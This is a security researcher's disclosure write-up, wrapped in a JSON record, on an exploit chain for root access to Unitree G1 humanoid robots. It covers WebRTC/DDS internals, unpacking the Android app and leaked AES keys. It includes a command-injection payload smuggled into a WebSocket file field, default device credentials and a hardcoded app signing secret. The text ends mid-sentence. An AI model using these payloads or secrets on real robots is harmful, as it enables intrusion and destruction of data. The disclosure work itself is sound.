{"slug": "unibleed-unauthenticated-root-rce-on-any-unitree-g1-humanoid-robot", "title": "UniBLEed: Unauthenticated Root RCE on Any Unitree G1 Humanoid Robot", "summary": "Security researcher Boschko published a technical breakdown of UniBLEed, a wormable exploit chain that achieves unauthenticated root remote code execution on any Unitree G1 humanoid robot within Bluetooth range, bypassing Unitree's cloud API, mobile app, and firmware. The research produced two CVEs, CVE-2026-76639 and CVE-2026-76640, and earned a $6,700 bounty from Unitree, which also sent the researcher a G1 robot for the work.", "body_md": "# UniBLEed: Unauthenticated Root RCE on Any Unitree G1 Humanoid Robot Within Bluetooth Range\n\nRoot on a $20,000 humanoid robot from Bluetooth range. One chain crossing Bluetooth, Unitree’s cloud, mobile, and the firmware running the G1 itself. Here’s the complete technical breakdown of the $6,700 bounty and two CVEs it produced: CVE-2026-76639 / CVE-2026-76640.\n\nRoot on a $20,000 humanoid robot, via a cloud API that decrypts any G1's AES key from any free Unitree account without checking ownership. One BLE characteristic that accepts writes without pairing. A heredoc injection that hijacks WiFi. A path traversal in the robot's AI chatbot knowledge base that leaks the binary's load address. And a 1050-byte BSS buffer overflow that corrupts the event loop into calling system() as root. Below is the complete technical breakdown of a $6,700 bounty and the two CVEs it produced: CVE-2026-76639 / CVE-2026-76640.\n\nUniBLEed is wormable, meaning once one G1 is compromised, it can spread the same exploit to the next G1 in range, and so on indefinitely 🎉.[UniPwn]was the awesome research that first blew this class of issue wide open and prompted Unitree's initial mitigations. UniBLEed came afterward,through a different chain, and showed thatwormable compromisewas still possible.\n\nA $20,000 robot ended up in my living room thanks to the research [Ruikai](https://x.com/ruikai?ref=boschko.ca) and I published in my last blog: [From DDS Packets to Robot Shells: Two RCEs in Unitree Robots (CVE-2026-27509 & CVE-2026-27510)](https://boschko.ca/unitree-go2-rce/). During that disclosure, we built a good relationship with `@cxing`\n\nand `@lxonz`\n\n, and as payment for the research, the [Unitree Security team](https://security.unitree.com/?ref=boschko.ca) sent a [G1](https://www.unitree.com/g1?ref=boschko.ca). Vendors sending robots to researchers is literally unheard of in robotics. I got lucky & I'm very grateful.\n\n*Quick note: *This is probably the most complete piece of independent research I've published. The discoveries happened wildly out of order, so I did my best to reorder everything into something you can actually read from start to finish. My research notes alone are 750+ pages of well-documented psychological decline. This isn't some \"magnum opus\", but it's\n\n*likely*my\n\n__last blog__.\n\n*The goal of publishing this research is to pay it forward. There isn't much robotics reverse-engineering stuff floating around. This is me adding water to a very dry well. Hopefully, this motivates more people to publish their own work.*\n\nEnjoy the read❤️\n\nAI has atrophied the living shit out of my brain 🙃. So when Unitree sent me a G1, having AI hack it for me would've been generationally braindead.\n\nI'm happy to announce? That these vulnerabilities areraw-dogging research on a steady diet of Jim Beam and animal crackers.. No AI in the loop! Just ~3 months of100% human-found\n\nThis isn't \"__ 100% AI-free research__\". I'm not a sodomite. AI helped me debug DDS/ROS libraries, monkey-patch broken shit, spin up AVDs, splice together POCs, and rewrite all the finalized PoCs. I\n\n__never__used it to\n\n__find__or\n\n__exploit__the G1. I'm saying this isn't a\n\n`\"go find 0-day, no mistakes plz\"`\n\nwriteup. But what I'm *saying is… AI may have cooked my brain, but baby that*\n\n**really*** dog*is still in me.\n\nI'm not anti-AI whatsoever. I just started feeling like a passenger in my own brain. For context, with __minimal steering__ & shit tons of context, I only had to burn down a *small* rainforest to get `DeepSeek-v4-pro`\n\nto independently discover the full CVE-2026-76639 (RCE #1) chain and every bug in the CVE-2026-76640 (RCE #2) chain. It also found `27`\n\nother vulns __I completely missed__ (these might be bullshit vulns, I haven't checked). *However*, it __wasn't__ able to independently chain together a working BLE exploit 🫤? Somehow, weirdly, I'm... pleased?\n\nBefore you commit to reading, skim the two RCEs and decide how much of your evening you're willing to invest.\n\n__RCE #1 CVE-2026-76639__ chains 3 bugs. It's a cool path traversal in the robot's AI chatbot (`chat_go`\n\n) knowledge base that writes an arbitrary file to bashrunner's whitelist directory, combined with bashrunner's one-time-at-import `os.listdir()`\n\nwhitelist and its extension-agnostic `sh`\n\nexec. This is triggered through the discovery of the hardcoded AES key that unlocks a WebRTC-to-DDS bridge with no topic allowlist and no participant authentication on CycloneDDS `Domain 0`\n\n.\n\n__RCE #2 CVE-2026-76640__ is a * sexy* 5-bug chain. The GATT characteristic\n\n`0xFFE2`\n\nis registered with bare WRITE permission, so a nearby BLE client can write to it without pairing. The cleartext bootstrap opcode `0xF2`\n\nreturns the G1's AES-128 key inside an RSA-wrapped (four-notification response). Unitree's `/device/bindExtData`\n\ncloud endpoint decrypts that blob for any (free) *\"authenticated\"*Unitree account because it did not verify ownership of the supplied G1 serial number. The recovered key unlocks the AES-backed BLE v3 handshake and the WiFi configuration opcodes. A\n\n`121-byte`\n\nPSK then forces `wpa_connect.sh`\n\ninto its unsafe manual fallback, where unescaped data in an unquoted heredoc becomes injected `wpa_supplicant`\n\nconfiguration data, forcing the G1 to join the attacker's hotspot. From that network, the `chat_go`\n\nto bashrunner chain leaks the `btgatt-server`\n\nPIE base from `/proc/<pid>/maps`\n\n. Finally, a `1050-byte`\n\nwrite through the `500-byte`\n\n`wifi_ssid`\n\nbuffer sets `epoll_terminate`\n\nand forges a mainloop cleanup entry. The event loop exits into cleanup, calls `system(command)`\n\nas root, and later aborts when it tries to `free`\n\na forged BSS entry & the backgrounded shell survives the `btgatt-server`\n\ncrash.## About Unitree\n\n[Unitree](https://www.unitree.com/?ref=boschko.ca) (Hangzhou Yushu Technology Co., Ltd. 杭州宇树科技有限公司) is a Chinese developer of advanced consumer and commercial robots, founded in 2016 and based in Hangzhou, China. The company is best known for its robot dog and humanoid robots.\n\nTo my knowledge, Unitree is one of the only profitable robotics companies on the market. Unitree priced its Shanghai STAR Market listing on August 6, 2026, under ticker `688836`\n\nat ¥150.80 per share, putting the market cap around ¥61 billion (~$9 billion), well above the ~¥50 billion (~$7 billion) figure that was floating around in 2025. DeepSeek even came in as a strategic investor on the placement. It started trading on August 19 and closed its first day at ¥845, up 460%, for a market cap around ¥342 billion (~$50 billion).\n\nYou can buy one on Amazon and have a humanoid robot standing in your living room within the week.\n\n## Credit Where It’s Due\n\n* A wholehearted thank you to the Unitree Security Team*.\n\n*They were awesome to work with & special thanks to*\n\n`@cxing`\n\nand `@lxonz`\n\n*, my triagers and points of contact throughout these disclosures.*\n\n__I truly have zero complaints__.According to`@cxing`\n\nand`@lxonz`\n\n, Unitree was already aware of some of these issues internally & they now have patches (some internally at the time of posting) for the large majority, if not all, of the vulnerabilities. These aregenuinely complex bugs to fix, and as you'll see in the Disclosure Timeline, Unitree moved quickly through triage, response, and remediation.This post isn't meant to take away from any of that work. I have deep respect for the Unitree staff & their engineers. They're genuinely one of the strongest robotics companies out there.\n\nSo, treat this as a point-in-time account of the platform as I found it during the research and disclosure period, not as a description of its current security posture.\n\nLastly, these bugs shouldn't be seen as some **huge embarrassment**. Go look at **any** robotics company or startup (especially in the Valley) & see how many security roles they're hiring for. __They're not. Most never have.__\n\nIf you find vulnerabilities in Unitree products, you can report them at [security.unitree.com](https://security.unitree.com/?ref=boschko.ca). They're genuinely responsive, and you're not going to be left waiting weeks for an acknowledgment or triage.\n\n## A \"Quick\" Disclosure Rant\n\n*I'm a big PoC||GTFO guy. Companies have nothing \"real\" unless you provide proof. Otherwise, you've given them nothing to socialize to stakeholders & nothing that earns developers real time to fix vulns. It's also why \"internal knowledge\" of one bug in a functional PoC chain cannot discount the entire chain. A five-bug chain ending in RCE on a supposedly isolated critical OCU remains critical regardless of whether one bug is theorized/\"known internally\" & knowing one bug in a chain should also never knock down the severity (*\n\n`Critical→High`\n\n). *I do wish Unitree defined their **SERC Vulnerability Handling and Rating Standard** a bit better. Their Critical tier is almost impossible to attain as defined & the criteria leaves too much room for interpretation & downstream disagreements. Their bounty structure didn't anticipate an RCE chain spanning mobile, cloud, and Bluetooth, all rolled into one PoC. Those bugs normally live in completely different payout buckets, so instead of pricing each piece individually, they essentially priced the final outcome.*\n\n**About The Bounty**\n\nRCE #1 (`chat_go path traversal + bashrunner`\n\n) and RCE #2 (`GATT write + cloud oracle + heredoc inject + BLE BSS overflow`\n\n) were awarded as __two__ critical bounties. `$1000`\n\nfor RCE #1 and `$4000`\n\nfor RCE #2. IMHO it's a tad light (*maybe I'm wrong?*) In fairness, Unitree did mention they knew about the cloud oracle decryption issue (it was a mitigation tied to [UniPwn](https://arxiv.org/pdf/2509.14139?ref=boschko.ca)). That said, I'm skeptical they understood the impact of it, or the \"art-of-the-possible\" it opened up.\n\nIMO, they're independent vulnerabilities in different binaries, different languages, and different attack surfaces. RCE #1 happens to be used inside RCE #2's chain for the PIE base leak, which created the appearance of overlap (*that's my fault)*. But RCE #1 is a standalone root shell from Ethernet or the robot's AP, and the PIE leak could just as easily use a different primitive. I demonstrated this separately with a unistore RCE (an unauthenticated Flask API on the robot's Docker-based app store that gives host root through a privileged container with `docker.sock`\n\nmounted). The `chat_go`\n\nchain __is interchangeable.__ The BLE overflow is not.\n\nRegardless, this was never about the money & my research speaks for itself.\n\nagain to the Unitree security team. They genuinely care & security is hard.Thank you\n\nP.S. Send me more robots?\n\n## Disclosure Timeline\n\n- April 29, 2026 — G1 EDU arrives.\n- May 2, 2026 — UPK firmware format reversed. TEA-ECB encryption broken (standard delta\n`0x9E3779B9`\n\nkey derived from plaintext seed). Firmware`V1.5.1.1`\n\nextracted from Unitree CDN. - May 3, 2026 — G1 firmware upgraded to\n`V1.5.2`\n\n& cloud API signing secret discovered. - May 3, 2026 — Permanently bricked the G1 Dev PC (\n`192.168.123.164`\n\n) via an OTA timing issue in the`upgrade/run`\n\n, the handler contains both the direct shell-injection flaw and a subprocess-start race. It wiped`/unitree`\n\ncompletely. - May 7, 2026 — Discovered the AES-128 key required for WebRTC communication & found my G1 AES-128 key via logcat.\n- May 8-10, 2026 —\ninto Locomotion PC via__RCE #1__`chat_go`\n\nRCE achieved 🎉. - May 11–13, 2026 —\ntechnical details sent back and forth with the Unitree security team.__RCE #1__ - May 14, 2026 — Unitree verified and validated\n.__RCE #1__ - May 21, 2026 — Discovered that calling\n`POST /device/bindExtData`\n\non`global-robot-api.unitree.com`\n\nwith the`RSA-OAEP-SHA256-encrypted`\n\nkey blob (fetched pre-auth from the robot over BLE) and the robot's SN returned the plaintext AES-128 key for any robot, from**any** authenticated account, with no account-to-robot binding check. - June 11-25, 2026 — No-pair GATT write confirmed, BSS layout mapped from btgatt-server binary, and BSS overflow exploit figured out and cleanup loop disassembly.\n- June 25, 2026 — Full chain\ndiscovered and confirmed 🎉.__RCE #2__ - June 25-29, 2026 —\ntechnical details sent back and forth with the Unitree security team.__RCE #2__ - June 26-30, 2026 — Unitree verified and validated\n.__RCE #2__ - July 1-6 August, 2026 — Unitree implemented an account-to-robot cloud binding ownership check before returning the AES-128 key.\n*Patching*the \"cloud-oracle\" vulnerability discovered back in May. - August 6, 2026 — a $5,000 USD bounty was paid out, $4,000 for the BLE RCE and $1,000 for the\n`chat_go`\n\nRCE.\n\n- August 18, 2026 — CVE submissions via\n[VulnCheck](https://www.vulncheck.com/advisories/report?ref=boschko.ca) - August 20, 2026 — Obtained the two reserved CVEs from\n[VulnCheck](https://www.vulncheck.com/advisories/report?ref=boschko.ca) - August 21, 2026 — Sent the blog preview to the Unitree Security Team.\n- August 26, 2026 — Unitree responded:\n\n- August 27, 2026 — SHIPIT!\n\n### Affected Versions\n\nThe versions and components below cover the G1 builds I directly tested. I reproduced the vulnerabilities on 4 different G1's. Related Unitree products __share__ portions of the software stack, but I have not treated that similarity alone as proof that every Go2, B2, or R1 build is vulnerable. PoC code available on [GitHub](https://github.com/OlivierLaflamme/UniBLEed?ref=boschko.ca).\n\n## Critical. Critical. Critical.\n\nIf you look at the bounty specification, \"terminal vulnerabilities\" are the only ones worth hunting.\n\nLanding a critical means shopping an RCE unauthed over BLE or WiFi 🫤. Unitree **never** intended anyone to get a shell on the Locomotion PC, and once you do, it’s officially considered fully jailbroken.\n\nIt's also where Unitree keeps all the good stuff... such as the **production keys** for: AWS Polly, iFlytek, Aliyun NLS, Volc Doubao, NetEase Music, and full DashScope access, billed straight to Unitree's Alibaba account. Which is exactly why it's isolated in the first place.\n\nWe also have full access to our G1's MinIO object storage. Every authentication trust anchor the G1 has, including app signing secrets and JWT secrets. In total, `~15`\n\nhigh-impact secrets. TTBOMK they've been rotated.\n\n## The G1 Attack Surface\n\nThere's a handful of computers inside the G1 that communicate within `192.168.123.0/24`\n\n. We care about 2. The \"Dev PC\" (**Development Computing Unit**), a Jetson Orin NX running Ubuntu with SSH wide open, default creds `unitree:123`\n\n, and passwordless sudo at `192.168.123.164`\n\n& the Locomotion PC (**Operation and Control Computing Unit**) at `192.168.123.161`\n\n. The Locomotion PC is our *actual* target. It's a Rockchip RK3588 running a real-time kernel (`Linux 5.10.176-rt86+`\n\n) and 28 services, all as root. It controls almost __every__ peripheral on the robot & everything that matters (camera, speaker, voice, motor, etc). It exposes exactly one TCP port `9991`\n\n, which is a WebRTC signaling server, plus DDS on `Domain 0`\n\nover UDP. No SSH, web interface, or debug console. Even Unitree's own docs basically treat it like a black box.\n\n## Massive Day 1 Fuckup\n\nIn my mind, anyone powering on a $20,000 robot in public would've 100% changed the default Dev PC credentials. My *initial* plan was to get onto the Dev PC and find a way to pivot to the Locomotion PC from there. However, I didn't want whatever chain I found to depend on default creds. So the \"*new\"* plan was to get unauthenticated RCE on the Dev PC, *then* start hunting for a pivot into the Locomotion PC.\n\nThe Dev PC has a lot more ports exposed (remember it's a different PC) and runs a Tornado WebSocket server at `/upgradePythonServer/server.py`\n\nas root on port 80, and binds to all interfaces. Its WebSocket handler accepts connections from any browser origin (`check_origin=TRUE`\n\n& `Access-Control-Allow-Origin: *`\n\n) so a client can connect to `/ws`\n\nand submit an `upgrade/run`\n\nmessage containing a user-controlled file value.\n\nEasy command injection... right? `create_subprocess_shell()`\n\ncalls `/bin/sh -c`\n\n, so I sent:\n\n```\nws.send(json.dumps({\n  \"type\": \"msg\",\n  \"topic\": \"upgrade/run\",\n  \"data\": {\"file\": \"; id > /tmp/pwned ; exit 0 #.zip\"}\n}))\n```\n\nThat transforms the vulnerable portion into the equivalent of:\n\n```\nunzip -q -o /upgradePythonServer/uploads/;\nid > /tmp/pwned;\nexit 0;\n#.zip -d temp\n```\n\nAnd my Dev shell died??? I initially blamed `create_subprocess_shell()`\n\nfor continuing through the multiline command after `exit 0`\n\n, but exit should terminate the `/bin/sh -c`\n\nprocess before it reaches `rm -rf /unitree`\n\n. The source does contain a race window:\n\nBecause `cmdRunning`\n\nis set only after awaiting subprocess creation, a second queued update command must've run concurrently? I don't have the logs, and therefore was never able to confirm. __Anyhow, the full rm -rf /unitree ran.__\n\n## Up a Creek Without a Paddle\n\nThese *\"happy accidents\"* are painfully on-brand for me. Luckily, we've *still* got a couple ways in.\n\n### The WebRTC Front Door\n\nThe G1 has a handful of RJ45 and Type-C females located behind its head & they land anyone inside the internal G1 network `192.168.123.0/24`\n\n. What's shitty is that we're touching the robot... for now.\n\nThanks to the [Go2](https://boschko.ca/unitree-go2-rce/) research, I already knew the mobile app communicates with the robots over WebRTC on port `9991`\n\n. That port is the Locomotion PC's only open port & it's served by `xfkTon`\n\n, a C++ daemon at `/unitree/module/webrtc_bridge/src/webrtc_dds_bridge/xfkTon`\n\nthat bridges external WebRTC connections to the robot's internal DDS bus.\n\nWe're not gonna cover all of WebRTC. At a high level, understand that it's a peer-to-peer protocol for streaming audio, video, and application data directly between two endpoints. For peer-to-peer to work, the two endpoints need to agree on a whole bunch of stuff. That \"stuff\" step is called * signaling*, and Unitree uses POST on port\n\n`9991`\n\nfor it. For this communication to begin, a client sends an SDP ([Session Description Protocol](https://developer.mozilla.org/en-US/docs/Glossary/SDP?ref=boschko.ca)) offer describing what it supports, the server sends back an SDP answer, and once they agree, WebRTC's own DTLS (\n\n[Datagram Transport Layer Security](https://developer.mozilla.org/en-US/docs/Glossary/DTLS?ref=boschko.ca)) layer takes over, and a data channel opens a bidirectional pipe that carries whatever application messages you want.\n\nThe problem is that Unitree encrypted this __ signaling__. Before a WebRTC session can start, the two sides exchange connection details through a pair of endpoints on port\n\n`9991`\n\n. `/con_notify`\n\ninitiates the handshake, `/con_ing_{path}`\n\ncompletes it. On the G1, the robot's responses on these endpoints are encrypted with an `AES-128`\n\nkey. It's a symmetric cipher, so both sides need the same secret key to encrypt and decrypt. That key lives in a `16-byte`\n\nfile on the Locomotion PC at `/unitree/etc/key/aes_key.bin`\n\n. It's __generated once__,\n\n__never rotated__, and\n\n**. Without this key, we can't read the robot's response, we can't build our reply, and we can't start a WebRTC session.**\n\n__unique per G1__Weneedthis key.\n\nWebRTC also has some built-in security (DTLS, SRTP) that protects data once the channel is open. That spec leaves the * signaling* auth up to the application. Unitree has implemented a three-stage key-exchange bootstrap on top of the signaling.\n\nThe G1's AES-128 key gates the very first step. The client POSTs to `/con_notify`\n\n. The robot responds with its RSA public key, AES-128-GCM encrypted with the per-device AES key. If you have the wrong key, GCM's authentication tag check fails.\n\nIf you have the right key, you decrypt the response and recover the RSA public key. The client then generates a random 16-byte session key, RSA-encrypts it with the G1's public key so only the robot can read it, AES-ECB-encrypts the SDP offer with that session key, and POSTs both to `/con_ing_{path}`\n\n. The robot decrypts the session key with its RSA private key, decrypts the SDP offer, generates its own SDP answer, encrypts it with the same session key, and sends it back.\n\nOnce both sides have exchanged SDP, WebRTC's DTLS layer takes over, and the peer connection opens. Over the data channel, the robot sends a validation challenge string. The client responds with `MD5(\"UnitreeGo2_\" + challenge)`\n\n(prefix says \"Go2\" even on the G1). If the validation passes, the data channel is \"*live*\" & every message the client sends gets translated into a native DDS request on the robot's internal service bus.\n\nWe're using WebRTC to reach the robot-side service bridge called `webrtc_bridge`\n\nwhich translates external data-channel messages into requests that can communicate with those `28`\n\nservices the Locomotion PC runs as root. This bridge itself (much like in the [Go2](https://boschko.ca/unitree-go2-rce/)), participates on the internal DDS bus, and it accepts JSON.\n\nThe bridge parses the JSON, builds a native DDS `Request_`\n\n, and publishes it to whichever topic the JSON names. So **any** RCE we find in one of those `28`\n\nLocomotion PC services can, in theory, be delivered straight through the `webrtc_bridge`\n\n. The catch is that reaching the WebRTC data channel requires the device-specific AES-128 key.\n\n### WTF is DDS\n\nModern robotics and industrial systems mostly don't use TCP, they use some Publisher/Subscriber middleware (DDS, ROS 2, MQTT, ZeroMQ, Zenoh, OPC UA), which runs on UDP. [My old blog](https://boschko.ca/unitree-go2-rce/#initial-recon) does an **excellent** job explaining what DDS is and how it works. *If you skip it, you'll still be fine for this next section*.\n\nThink of __DDS as being the robot's internal orchestrating API__. Every service on the robot (the motor controller, the LLM chatbot, lidar, etc.) talks to every other service through this bus.\n\nDDS embeds discovery __into__ the protocol itself.\n\nWe don't *need* to know what topics exist ahead of time because the protocol will tell us. Any `Domain 0`\n\nparticipant can enumerate every publisher and subscriber on the bus via Simple Endpoint Discovery Protocol (SEDP). Every service running on the G1, every topic it publishes or subscribes to & the message type for each. Join the bus, and you get a complete map of the system for free.\n\nCheck out the Gist, and you'll see that \"Topics\" come in two flavors.\n\n**Pub/sub topics (things you subscribe/publish to)**\n\nAnything outside`rt/api/`\n\nis regular DDS pub/sub. Almost all of them are continuous state streams (sensor data, joint states, controller input, LLM state, etc). The G1 services/internal processes write data to these topics (into the void), and anything subscribed to the same topic can receive it.\n\nWe're on the network, so we can join `Domain 0`\n\n, subscribe to them, and read them passively. On the G1, no authentication or encryption is stopping us.\n\n**RPC-ish endpoints (things you call)**\n\nUnitree then builds its own RPC layer on top of DDS. Anything matching`rt/api/{service}/request`\n\nis the request side of a service, with responses coming back over`rt/api/{service}/response`\n\n(think HTTP-ish request/response, except both sides are DDS topics). Inside each request, an`api_id`\n\nselects which \"*function\"*you want the service to perform. Parameters usually live in a stringified JSON field.\n\nFor example, to start the `chat_go`\n\nservice, we publish this to `rt/api/robot_state/request`\n\n:\n\n```\nTopic: rt/api/robot_state/request\nType:  unitree_api::msg::dds_::Request_\n\nRequest_ {\n    header: {\n        identity: { id: 1785438291, api_id: 1001 },     \n        lease:    { id: 0 },\n        policy:   { priority: 0, noreply: false }\n    },\n    parameter: \"{\\\"name\\\":\\\"chat_go\\\",\\\"switch\\\":1}\",  \n}\n```\n\n`robot_state`\n\ngets it, sees `api_id: 1001`\n\n(`ServiceSwitch`\n\n), parses the JSON, spins up `chat_go`\n\n. Response comes back on `rt/api/robot_state/response`\n\n. [Unitree's SDK docs](https://github.com/unitreerobotics/unitree_sdk2/blob/main/include/unitree/robot/go2/robot_state/robot_state_api.hpp?ref=boschko.ca) can provide us with some of these `api_id`\n\nmappings (we'll rip the rest straight from firmware later anyway).\n\nWe've shown that we can join DDS `Domain 0`\n\nand see the topics. So if one of those `28`\n\nLocomotion PC services \"*speaks DDS*\" and has a vuln, why couldn't we just trigger it by publishing the right `Request_`\n\nwith the right `api_id`\n\nand parameters? Well... *in theory, we can.* Which means we can skip the G1's per-device AES-128 key and the whole WebRTC signaling path entirely. (This is what [Ruikai](https://x.com/ruikai?ref=boschko.ca) and I did for the [Go2](https://boschko.ca/unitree-go2-rce/))\n\nThe DDS bus doesn't careContext:whoyou are. A message from the WebRTC bridge (how the phone app talks to the robot) looks identical to one from literally any other process on the network. Same topic, same type, same struct layout. The bridge is just a wrapper translating WebSocket messages from the app into DDS publishes. Every peer is communicating over`Domain 0`\n\nis trusted equally.\n\nSo talking to the G1's Locomotion services should be easy, right 😭?\n\n### I use macOS BTW\n\nLooking back, this is some stubborn room temperature IQ shit. My personal research notes are already held together by duct tape and divine intervention. Spreading them across VMs and other PCs would've been game over. So everything ran off my little MacBook Air. Which is ** exactly** where CycloneDDS publishing is broken.\n\nMost OS's dont have this issue.\n\nThe C binary performing raw DDS above isn't something I could reverse-engineer at this point in our timeline. DDS needs a byte-perfect understanding of the DDS Python bindings the G1 uses, which meant obtaining the IDL from the field lists in the firmware's files.Note:`idlc`\n\nthen could compile those IDL into an`unitree_api.c`\n\nthat produces byte-identical CDR 1:1 with Unitree's own generated code. Without decrypting the, none of this is possible (We get the firmware later 😉).firmwareThis is just to show you that its possible.\n\nUnderstanding why this doesn't work on macOS wasn't fun. I'm not a DDS expert, but with all the time I've spent inside the [OMG DDS specification](https://www.omg.org/spec/DDS/1.4?ref=boschko.ca), I'd perform quite well if they ever held a trivia night.\n\nThere are two major pain-in-my-asshole-bugs. `cyclonedds-python`\n\n11.0.1 (the current PyPI release) has a `Topic()`\n\ninitialization bug that returns `DDS_RETCODE_PRECONDITION_NOT_MET`\n\nwhen the DDS bus already contains a topic with the name we're trying to create.\n\nOn the Mac & Raspberry Pi, I was able to sidestep the Python binding issue by calling `libddsc.so`\n\n(the same underlying CycloneDDS library without the Python layer in the middle) and doing some monkey-patches. Even after having solved this, if I create a `DataWriter`\n\nfor `rt/api/robot_state/request`\n\non macOS, everything *looks* fine: The participant comes up, the topic registers, `dds_write()`\n\nreturns success. But `get_matched_subscriptions()`\n\non the writer sits at zero forever. The robot's `robot_state`\n\n*reader* never associates with my *writer*, so my \"send\" gets broadcast & nothing ever comes back. Discovery works (the Mac sees every robot participant via SPDP). Reception works (I can subscribe to any topic and pull live samples). __Only publish is broken__. I think the issue is with CycloneDDS's socket source-address selection on macOS. Since macOS's BSD-derived kernel picks the source IP for outbound UDP based on the routing table first (I might be wrong, but this is __my+claude's__ understanding), if there are multiple UP interfaces (my WiFi on `en0`\n\nwith the default route, plus the robot's Ethernet dongle on `en6`\n\n), it struggles to advertise the participant's unicast locator and does so as the __WiFi address instead of the Ethernet address__.\n\nThe robot still receives my SPDP announcement, but then it has no \"*routable\"* endpoint to send its SEDP replies back. So it never learns about my specific matching proxy writer & my publishes never associate with any of its readers...\n\nLinux doesn't have this problem. Its kernel respects `IP_MULTICAST_IF`\n\nmore strictly and allows us to pick the source from the outbound interface directly. All that to say... We can't do what we did on the [Go2](https://boschko.ca/unitree-go2-rce/) & we ** need** to find our G1's AES-128 key to talk through the\n\n`webrtc_bridge`\n\n.## Mobile, My Old Friend\n\n### When Grep Beats Cryptography\n\nThankfully, recovering my G1's AES-128 key was ** super easy** 😭. Out of habit, I always stream my\n\n`logcat`\n\nand noticed the Unitree Explore app dumped practically all DDS traffic. So I pulled the app's cache over ADB, grepped it, and found my `G1`\n\nAES-128 key.Like most apps, the Unitree Explore writes the G1 everything into `/sdcard/Android/data/com.unitree.b2dog/cache/log/`\n\n. This was interesting enough to spend effort reversing. Plus, maybe I can do some Frida magic and hook into more logging? So let's get to the bottom of the leak.\n\n### Baidu Jiagu Encryption\n\nRunning `jadx`\n\non the APK directly returns empty stubs because the Unitree Explore APK ships packed by Baidu Jiagu `libbaiduprotect.so`\n\n.\n\nGetting around Baidu Jiagu (百度加固) is somewhat common knowledge. It's one of the most common Chinese-market Android packers. Here's how it's used:\n\n- Unitree writes and compiles their Kotlin/Java code normally, producing DEX files with all the real bytecode.\n- Before shipping, they run Baidu's packer on the APK. This strips the real bytecode out of the DEX files, replaces the DEX classes with thin dispatch stubs, and hides the real bytecode somewhere else in the APK (usually encrypted) and often disguised as an \"asset\" or buried inside\n`libbaiduprotect.so`\n\nitself. - When the app runs,\n`libbaiduprotect.so`\n\ndecrypts the real bytecode andusing ART's__loads it into memory__`defineClass`\n\n-family internal APIs. The real classes are absent from the statically shipped placeholder DEX files & don't touch disk.\n\nThis is why static tools like `jadx`\n\ncan only see the placeholder DEX files that ship in the APK. To read the *real* code, we'll need to catch the decrypted DEX after the packer runs but before the process exits. Lucky for us, this is exactly what [ frida-dexdump](https://github.com/hluwa/frida-dexdump?ref=boschko.ca) does!\n\nI don't have a rooted phone, so a rooted Android emulator via Android Studio using the `google_apis`\n\n(not Play Store) is the path of least resistance.\n\nNow we push a frida-server to the emulator and run it. The `frida-server`\n\nhas to run the side of the pair (target) that hooks into other processes' memory.\n\nOnce it's running, our host `frida-dexdump`\n\nconnects to it over the ADB channel.\n\nJust like that, we've retrieved 45 DEX files. This is what the Baidu Jiagu runtime unpacker decrypted into memory when the app started. These are the *REAL* `com.unitree.*`\n\nbytecode. All that's left to do is decompile the runtime-dumped DEX files with Jadx.\n\nWe end up with 2055 decompiled Java files under `com.unitree.*`\n\n. This is the full app source & as a sanity check, `RtcFlowApi.java`\n\nconfirms that port `9991`\n\nis the WebRTC endpoint.\n\n### Why Is the AES-128 Key in the Device Logs?\n\nThe apps ship with debug logging left in the release build. All the logging flows through the following function chain:\n\n```\nMainApplication.onCreate()           \n  └→ initLog()                    \n      └→ XLog.init(                \n          logConfig,\n          AndroidPrinter(),     ← goes to logcat\n          FilePrinter(          ← writes to disk\n              path: getExternalCacheDir() + \"/log\",\n              fileNameGenerator: DateFileNameGenerator(), ← \"XXXX-XX-XX\"\n        cleanStrategy: FileLastModifiedCleanStrategy(1296000000) ← 15 days\n             )\n         )\n```\n\nStepping back, the G1's AES-128 key has to get from the robot to the phone somehow 😅, and that happens during the initial BLE provisioning/bootstrap flow.\n\nEDIT: had to cut ~3000+ words here. Theres a lot of cool shit such as the`robot flash -> phone MMKV -> Unitree cloud`\n\ninteraction. Just know that when you pair a robot to a mobile device, aof calls are firing under the hood.metric shit tonWebRTC actually has two modes. A \"Side Note:direct mode\" for when the phone and robot are on the same LAN, so the app just talks straight to port`9991`\n\non the robot (`POST /con_notify`\n\n,`POST /con_ing_{path}`\n\n). And a \"cloud-relay\" mode is used when the phone is remote, cellular, on a different wifi. When used, the signaling has to go through Unitree's servers at`global-robot-api.unitree.com`\n\ninstead (remember this for later).\n\n__The Unitree Explore app talks to the G1 in a few ways: WebRTC directly over the local network or through Unitree's cloud relay, and BLE v3 for nearby setup/provisioning. The important part is that BLE v3 and WebRTC both rely on the same per-device AES-128 key. Leaking it from any one transport compromises the rest. Direct DDS is separate and doesn’t depend on it.__\n\n### Leak #1: The WebRTC bridge that logs every handshake\n\nThe `RTC_Start`\n\ncall originates in `RtcBridgeHelper.startConnect()`\n\n, a Kotlin class connecting the Android application to its embedded WebView frontend `com/unitree/webrtc/helper/RtcBridgeHelper.java`\n\n. When the app starts a robot connection:\n\n`startConnect()`\n\nretrieves the current robot record and constructs a JSON object containing seven fields: the robot alias, the application’s authentication token, serial number, product series, AES-128 key, model, and market identifier.\n\nThe method then passes that complete object to the WebView by calling `useJsMethod(\"RTC_Start\", json, callback)`\n\n. The WebView service ultimately dispatches it as a JavaScript call through AgentWeb. When that happens, everything key crosses the native-to-JavaScript bridge as the plain key field alongside the robot metadata and authentication token.\n\n### Leak #2: A BLE timestamp check that dumps the key on connect\n\nBLE communication is coordinated by `BluetoothService`\n\n(Android service implemented in Kotlin) `com/unitree/lib_ble/ui/ble/BluetoothService.java`\n\n. The application uses [Greenrobot EventBus](https://github.com/greenrobot/eventbus?ref=boschko.ca) to deliver events between components, and the service exposes an `onMessageEvent()`\n\nmethod \"`@Subscribe`\n\n\". When it receives a `StartBleCheckEvent`\n\n, it begins the BLE v3 timestamp-verification exchange. The service encrypts and sends `GET_TIME_3`\n\n, opcode `0x0B`\n\n, using the G1's key. After decrypting the response, `BleDataHandler`\n\ninterprets the returned data as a timestamp, increments it by one, and sends the result back using `CHECK_3`\n\n, opcode `0x0C`\n\n. This is the application side of the same handshake we'll cover in depth before the RCE #2 section.\n\nBefore shooting off the first frame, however, the handler writes a diagnostic message containing the complete AES-128 key...\n\nIf you want to know your own G1's AES-128 key, you can run the following script.\n\n`Note: You'll notice in the code `` APP_SIGN_SECRET = \"XyvkwK45hp5PHfA8\"`\n\nthis is the hardcoded API signing secret found within the Android APK. More on that later.\n\nWe ** finally** recovered the G1’s key... surely WebRTC works now, right 😭?\n\nRemember, we're communicating through the `webrtc_bridge`\n\n, which takes our JSON requests and publishes them as native DDS messages on the robot's internal service 